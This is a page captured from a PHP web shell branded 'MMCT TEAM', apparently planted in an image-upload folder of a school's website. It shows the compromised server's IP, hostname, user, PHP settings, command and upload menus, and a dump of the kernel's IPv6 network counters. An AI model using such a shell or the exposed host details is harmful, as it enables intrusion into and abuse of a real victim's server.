MMCT TEAM
Server IP : 145.79.58.44  /  Your IP : 216.73.217.60
Web Server : LiteSpeed
System : Linux in-mum2-web2213.main-hosting.eu 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64
User : u882412079 ( 882412079)
PHP Version : 8.3.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Warning: fileperms(): stat failed for /home/../proc/4086355/../thread-self/net in /home/u882412079/domains/sonimodernpublicschool.com/public_html/bb-admin/upload/image_gallery/260419061757anopas.PhP on line 236

Directory (0) :  /home/../proc/4086355/../thread-self/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../proc/4086355/../thread-self/net/snmp6
Ip6InReceives                   	16880669314
Ip6InHdrErrors                  	0
Ip6InTooBigErrors               	0
Ip6InNoRoutes                   	0
Ip6InAddrErrors                 	117
Ip6InUnknownProtos              	0
Ip6InTruncatedPkts              	0
Ip6InDiscards                   	0
Ip6InDelivers                   	16810551561
Ip6OutForwDatagrams             	0
Ip6OutRequests                  	18305607379
Ip6OutDiscards                  	2082
Ip6OutNoRoutes                  	359
Ip6ReasmTimeout                 	15
Ip6ReasmReqds                   	0
Ip6ReasmOKs                     	0
Ip6ReasmFails                   	15
Ip6FragOKs                      	2040
Ip6FragFails                    	0
Ip6FragCreates                  	4080
Ip6InMcastPkts                  	1771302
Ip6OutMcastPkts                 	1769104
Ip6InOctets                     	52234357119950
Ip6OutOctets                    	66001143263457
Ip6InMcastOctets                	113335408
Ip6OutMcastOctets               	113223040
Ip6InBcastOctets                	0
Ip6OutBcastOctets               	0
Ip6InNoECTPkts                  	20441620497
Ip6InECT1Pkts                   	23170799
Ip6InECT0Pkts                   	80285408
Ip6InCEPkts                     	12267511
Ip6OutTransmits                 	18305450372
Icmp6InMsgs                     	22657134
Icmp6InErrors                   	12132
Icmp6OutMsgs                    	19879927
Icmp6OutErrors                  	0
Icmp6InCsumErrors               	4382
Icmp6OutRateLimitHost           	213
Icmp6InDestUnreachs             	4103785
Icmp6InPktTooBigs               	1042235
Icmp6InTimeExcds                	53151
Icmp6InParmProblems             	3
Icmp6InEchos                    	15684510
Icmp6InEchoReplies              	4
Icmp6InGroupMembQueries         	0
Icmp6InGroupMembResponses       	0
Icmp6InGroupMembReductions      	0
Icmp6InRouterSolicits           	0
Icmp6InRouterAdvertisements     	1769055
Icmp6InNeighborSolicits         	6
Icmp6InNeighborAdvertisements   	3
Icmp6InRedirects                	0
Icmp6InMLDv2Reports             	0
Icmp6OutDestUnreachs            	2426303
Icmp6OutPktTooBigs              	0
Icmp6OutTimeExcds               	3
Icmp6OutParmProblems            	0
Icmp6OutEchos                   	4
Icmp6OutEchoReplies             	15684510
Icmp6OutGroupMembQueries        	0
Icmp6OutGroupMembResponses      	0
Icmp6OutGroupMembReductions     	0
Icmp6OutRouterSolicits          	0
Icmp6OutRouterAdvertisements    	1769084
Icmp6OutNeighborSolicits        	7
Icmp6OutNeighborAdvertisements  	0
Icmp6OutRedirects               	0
Icmp6OutMLDv2Reports            	16
Icmp6InType1                    	4103785
Icmp6InType2                    	1042235
Icmp6InType3                    	53151
Icmp6InType4                    	3
Icmp6InType128                  	15684510
Icmp6InType129                  	4
Icmp6InType134                  	1769055
Icmp6InType135                  	6
Icmp6InType136                  	3
Icmp6OutType1                   	2426303
Icmp6OutType3                   	3
Icmp6OutType128                 	4
Icmp6OutType129                 	15684510
Icmp6OutType134                 	1769084
Icmp6OutType135                 	7
Icmp6OutType143                 	16
Udp6InDatagrams                 	873761963
Udp6NoPorts                     	16462
Udp6InErrors                    	237832
Udp6OutDatagrams                	2788807681
Udp6RcvbufErrors                	235411
Udp6SndbufErrors                	2082
Udp6InCsumErrors                	2408
Udp6IgnoredMulti                	0
Udp6MemErrors                   	0
UdpLite6InDatagrams             	0
UdpLite6NoPorts                 	0
UdpLite6InErrors                	0
UdpLite6OutDatagrams            	0
UdpLite6RcvbufErrors            	0
UdpLite6SndbufErrors            	0
UdpLite6InCsumErrors            	0
UdpLite6MemErrors               	0

MMCT - 2023